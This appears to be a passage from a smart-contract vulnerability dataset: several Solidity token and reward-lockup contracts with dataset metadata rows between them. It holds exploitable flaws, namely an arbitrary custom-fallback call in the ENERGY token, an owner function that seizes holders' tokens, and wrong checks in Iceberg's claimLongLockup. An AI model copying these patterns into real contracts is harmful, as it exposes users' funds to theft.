uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _getMaxTxAmount() public view returns(uint256){
return _max_tx_size;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
}
| 227,722 | 1,762 |
cd75ce4a549695819a77bbf56e6039b3f63fb33369bfb39b72f4b410d9401056
| 16,581 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x6c1eafc68d1ebcda7add344905fb0e17c551d9e5.sol
| 3,567 | 13,537 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract ENERGY is ERC223, Ownable {
using SafeMath for uint256;
string public name = "ENERGY";
string public symbol = "ERG";
uint8 public decimals = 18;
uint256 public totalSupply = 3e8 * 1e18;
bool public mintingFinished = false;
address public founder = 0xd31d6589a4a31680a080fD8C2D337fA082d2147d;
address public AirDrop = 0xE7dfE192abd0997b3C194ac918d1c960d591E3ed;
address public LongTerm = 0xD067a36f0e05eb6C4AADabd36F4bC6B4a7AF2e39;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function ENERGY() public {
owner = founder;
balanceOf[founder] = totalSupply.mul(70).div(100);
balanceOf[AirDrop] = totalSupply.mul(20).div(100);
balanceOf[LongTerm] = totalSupply.mul(10).div(100);
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
}
| 218,019 | 1,763 |
a4f6a8baad7702941dc663b9ecce6251c4df5cc9b4def39dc795cc48e2d28048
| 21,110 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/92/92828bB29E24e1a08b4e2f71689c5d4b8B3c7f9e_Iceberg.sol
| 3,715 | 16,070 |
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.4;
/// @notice Gas optimized reentrancy protection for smart contracts.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/ReentrancyGuard.sol)
abstract contract ReentrancyGuard {
uint256 private locked = 1;
modifier nonReentrant() {
require(locked == 1, "REENTRANCY");
locked = 2;
_;
locked = 1;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface Ignode {
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
function mint(address to, uint256 amount) external;
function burn(uint256 amount) external;
function burnFrom(address from, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
error CannotBeZeroAddress();
error TooEarlyToClaim();
error AlreadyClaimed();
error Unauthorized();
error IndexInvalid();
error TransferFrom();
error Transfer();
/// @title Iceberg.
/// @author Ghost Nodes Protocol.
/// @notice This contract is used to lock users rewards for a specific amount of time.
/// @dev This contract is called from the nodeFactory to lock users rewards.
contract Iceberg is Ownable, ReentrancyGuard {
// <--------------------------------------------------------> //
// <------------------------ EVENTS ------------------------> //
// <--------------------------------------------------------> //
/// @notice Emitted when user rewards are locked.
/// @param user address, Owner of the rewards that are being locked up.
/// @param shortLockupRewards uint256, short lockup period.
/// @param longLockupRewards uint256, long lockup period.
event RewardsLocked(address indexed user,
uint256 shortLockupRewards,
uint256 longLockupRewards);
/// @notice Emitted when short lockup rewards are unlocked.
/// @param user address, Owner of the rewards that are being unlocked.
/// @param shortRewards uint256, amount of rewards unlocked.
event UnlockShortLockup(address indexed user, uint256 shortRewards);
/// @notice Emitted when long lockup rewards are unlocked.
/// @param user address, Owner of the rewards that are being unlocked.
/// @param longRewards uint256, amount of rewards unlocked.
event UnlockLongLockup(address indexed user, uint256 longRewards);
/// @notice Emitted when the owner of the contract changes the % of the rewards that are
/// going to be locked up for a shorter period of time.
/// @param percentage uint256, the new percentage (in thousands) of rewards that will be
/// locked up for a shorter period of time from now on.
event ShortPercentageChanged(uint256 percentage);
/// @notice Emitted when the owner of the contract changes the % of the rewards that are
/// going to be locked up for a longer period of time.
/// @param percentage uint256, the new percentage (in thousands) of rewards that will be
/// locked up for a longer period of time from now on.
event LongPercentageChanged(uint256 percentage);
/// @notice Emitted when the owner changes the address of the nodeFactory variable.
/// @param nodeFactoryAddress address, the new node factory address.
event NodeFactoryUpdated(address nodeFactoryAddress);
// <--------------------------------------------------------> //
// <----------------------- STRUCTS ------------------------> //
// <--------------------------------------------------------> //
/// @notice Global rates defined by the owner of the contract.
struct Rates {
uint256 shortPercentage; // % of rewards locked up with a shorter period, defined in thousands i.e 18e16 = 18%.
uint256 longPercentage; // % of rewards locked up with a longer period, defined in thousands i.e. 12e16 = 12%.
}
/// @notice Information about each `Lockup` the user has.
struct Lockup {
bool longRewardsCollected; // True if user collected long rewards, false otherwise.
bool shortRewardsCollected; // True if user collected short rewards, false otherwise.
uint32 longLockupUnlockDate; // Time (in Unit time stamp) when long lockup rewards will be unlocked.
uint32 shortLockupUnlockDate; // Time (in Unit time stamp) when short lockup rewards will be unlocked.
uint256 longRewards; // The amount of rewards available to the user after longLockupUnlockDate.
uint256 shortRewards; // The amount of rewards available to the user after shortLockupUnlockDate.
}
// <--------------------------------------------------------> //
// <------------------- GLOBAL VARIABLES -------------------> //
// <--------------------------------------------------------> //
/// @notice A mapping for each user's lockup i.e. `usersLockup[msg.sender][index]`
/// where the `index` refers to which lockup the user wants to look at.
mapping(address => mapping(uint32 => Lockup)) public usersLockup;
/// @notice A mapping for the total locked from each user.
mapping(address => uint256) public usersTotalLocked;
/// @notice A mapping to check the total of `lockup's` each user has. It can be seen like this:
/// `usersLockup[msg.sender][index]` where `index` <= `usersLockupLength[msg.sender]`.
/// Since the length of total lockups is the index of the last time the user claimed and
/// locked up his rewards. The index of the first lockup will be 1, not 0.
mapping(address => uint32) public usersLockupLength;
// GhostNodes offical token, minted as a reward after each lockup.
address internal immutable gnode;
// nodeFactory contract address.
address internal nodeFactory;
// Global rates.
Rates public rates;
uint32 public shortLockupTime = 7 days; // Shorter lockup period.
uint32 public longLockupTime = 14 days; // Longer lockup period.
constructor(address _gnode) {
if (_gnode == address(0)) revert CannotBeZeroAddress();
gnode = _gnode;
}
// <--------------------------------------------------------> //
// <------------------ EXTERNAL FUNCTIONS ------------------> //
// <--------------------------------------------------------> //
/// @notice Every time a user claim's his rewards, a portion of them are locked for a
/// specific time period in this contract.
/// @dev Function called from the `nodeFactory` contract to lock users rewards. We use
/// the 'nonReentrant' modifier from the `ReentrancyGuard` made by openZeppelin as
/// an extra layer of protection against Reentrancy Attacks.
/// @param user address, The user who's rewards are being locked.
/// @param shortLockupRewards uint256, amount of rewards that are going to be locked up for
/// a shorter period of time.
/// @param longLockupRewards uint256, amount of rewards that are going to be locked up for
/// a longer period of time.
function lockupRewards(address user,
uint256 shortLockupRewards,
uint256 longLockupRewards) external nonReentrant {
// only the nodeFactory address can access function.
if (msg.sender != nodeFactory) revert Unauthorized();
// first it checks how many `lockups` the user has and sets
// the next index to be 'length+1' and finally it updates the
// usersLockupLength to be 'length + 1'.
uint32 index = usersLockupLength[user] + 1;
usersLockupLength[user] = index;
// The total amount being transfered.
uint256 amount = (shortLockupRewards + longLockupRewards);
// Add the total value of lockup rewards to the users mapping.
usersTotalLocked[user] += amount;
// Creates a new Lockup and add it to the new index location
// of the usersLockup mapping.
usersLockup[user][index] = Lockup({
longRewardsCollected: false,
shortRewardsCollected: false,
longLockupUnlockDate: uint32(block.timestamp) + longLockupTime,
shortLockupUnlockDate: uint32(block.timestamp) + shortLockupTime,
longRewards: longLockupRewards,
shortRewards: shortLockupRewards
});
// Transfer the rewards that are going to be locked up from the user to this contract.
Ignode(gnode).transferFrom(address(nodeFactory), address(this), amount);
emit RewardsLocked(user, shortLockupRewards, longLockupRewards);
}
/// @notice After the shorter lockup period is over, user can claim his rewards using this function.
/// @dev Function called from the UI to allow user to claim his rewards.
/// @param index uint32, the index of the `lockup` the user is refering to.
function claimShortLockup(uint32 index) external nonReentrant {
Lockup memory temp = usersLockup[msg.sender][index];
// There are 3 requirements that must be true before the user can claim his
// short lockup rewards:
//
// 1. The index of the 'lockup' the user is refering to must be a valid one.
// 2. The `shortRewardsCollected` variable from the 'lockup' must be false, proving
// the user didn't collect his rewards yet.
// 3. The block.timestamp must be greater than the short lockup period proposed
// when the rewards were first locked.
//
// If all three are true, the user can safely colect their short lockup rewards.
if (usersLockupLength[msg.sender] < index) revert IndexInvalid();
if (temp.shortRewardsCollected) revert AlreadyClaimed();
if (block.timestamp <= temp.shortLockupUnlockDate)
revert TooEarlyToClaim();
// Make a temporary copy of the user `lockup` and get the short lockup rewards amount.
uint256 amount = temp.shortRewards;
// Updates status of the shortRewardsCollected to true,
// and changes the shortRewards to be collected to zero.
temp.shortRewardsCollected = true;
temp.shortRewards = 0;
// Updates the users lockup with the one that was
// temporarily created.
usersLockup[msg.sender][index] = temp;
// Takes the amount being transfered out of users total locked mapping.
usersTotalLocked[msg.sender] -= amount;
// Transfer the short rewards amount to user.
Ignode(gnode).transfer(msg.sender, amount);
emit UnlockShortLockup(msg.sender, amount);
}
/// @notice After the longer lockup period is over, user can claim his rewards using this function.
/// @param index uint32, he index of the `lockup` the user is refering to.
function claimLongLockup(uint32 index) external nonReentrant {
// Make a temporary copy of the user `lockup` and get the long lockup rewards amount.
Lockup memory temp = usersLockup[msg.sender][index];
// There are 3 requirements that must be true before the user can claim his
// long lockup rewards:
//
// 1. The index of the 'lockup' the user is refering to must be a valid one.
// 2. The `longRewardsCollected` variable from the 'lockup' must be false, proving
// the user didn't collect his rewards yet.
// 3. The block.timestamp must be greater than the long lockup period proposed
// when the rewards were first locked.
//
// If all three are true, the user can safely colect their long lockup rewards.
if (usersLockupLength[msg.sender] < index) revert IndexInvalid();
if (temp.shortRewardsCollected) revert AlreadyClaimed();
if (block.timestamp <= temp.shortLockupUnlockDate)
revert TooEarlyToClaim();
uint256 amount = temp.longRewards;
// Updates status of the longRewardsCollected to true,
// and changes the longRewards to be collected to zero.
temp.longRewardsCollected = true;
temp.longRewards = 0;
// Updates the users lockup with the one that was
// temporarily created.
usersLockup[msg.sender][index] = temp;
// Takes the amount being transfered out of users total locked mapping.
usersTotalLocked[msg.sender] -= amount;
// Transfer the long rewards amount to user.
Ignode(gnode).transfer(msg.sender, amount);
emit UnlockLongLockup(msg.sender, amount);
}
// <--------------------------------------------------------> //
// <-------------------- VIEW FUNCTIONS --------------------> //
// <--------------------------------------------------------> //
/// @notice Allow the user to know what the `shortPercentage` variable is set to.
/// @return uint256, the value the `shortPercentage` variable is set to in thousands i.e. 1200 = 12%.
function getShortPercentage() external view returns (uint256) {
return rates.shortPercentage;
}
/// @notice Allow the user to know what the `longPercentage` variable is set to.
/// @return uint256, the value the `longPercentage` variable is set to in thousands i.e. 1800 = 18%.
function getLongPercentage() external view returns (uint256) {
return rates.longPercentage;
}
// <--------------------------------------------------------> //
// <---------------------- ONLY OWNER ----------------------> //
// <--------------------------------------------------------> //
/// @notice Allows the owner of the contract change the % of the rewards that are
/// going to be locked up for a short period of time.
/// @dev Allows the owner of the contract to change the `shortPercentage` value.
function setShortPercentage(uint256 percentage) external onlyOwner {
rates.shortPercentage = percentage;
emit ShortPercentageChanged(percentage);
}
/// @notice Allows the owner of the contract change the % of the rewards that are
/// going to be locked up for a long period of time.
/// @dev Allows the owner of the contract to change the `long` value.
function setLongPercentage(uint256 percentage) external onlyOwner {
rates.longPercentage = percentage;
emit LongPercentageChanged(percentage);
}
/// @notice Updates the nodeFactory contract address.
/// @param _nodeFactory address, nodeFactory contract address.
function setNodeFactory(address _nodeFactory) external onlyOwner {
nodeFactory = _nodeFactory;
emit NodeFactoryUpdated(_nodeFactory);
}
}
| 333,624 | 1,764 |
1ad1694a892974d70ebe2e5cab95784e928fe99e0dc8eabe79254e1466e11ca7
| 16,448 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/DMEX_Token.sol
| 3,633 | 14,189 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract DMEX_Base {
function availableBalanceOf(address token, address user) view returns (uint256);
function withdraw(address token, uint256 amount) returns (bool success);
}
// https://theethereum.wiki/w/index.php/ERC20_Token_Standard
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
// optional
function name() external view returns (string);
function symbol() external view returns (string);
function decimals() external view returns (string);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract UniswapExchangeInterface {
// Address of ERC20 token sold on this exchange
function tokenAddress() external view returns (address token);
// Address of Uniswap Factory
function factoryAddress() external view returns (address factory);
// Provide Liquidity
function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256);
function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256);
// Get Prices
function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought);
function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold);
// Trade ETH to ERC20
function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought);
function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought);
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256 eth_sold);
function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold);
// Trade ERC20 to ETH
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256 eth_bought);
function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns (uint256 eth_bought);
function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256 tokens_sold);
function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256 tokens_sold);
// Trade ERC20 to ERC20
function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256 tokens_sold);
function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_sold);
// Trade ERC20 to Custom Pool
function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256 tokens_sold);
function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_sold);
// ERC20 comaptibility for liquidity tokens
bytes32 public name;
bytes32 public symbol;
uint256 public decimals;
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender) external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function totalSupply() external view returns (uint256);
// Never use
function setup(address token_addr) external;
}
contract DMEX_Token {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
uint256 public operationalPct = 618e15; // % that goes into the operations wallet 61.8%
uint256 public buybackPct = 382e15; // % going to the uniswap contract 38.2%
address public operationalAddress; // the operational address
function assert(bool assertion) pure {
if (!assertion) {
throw;
}
}
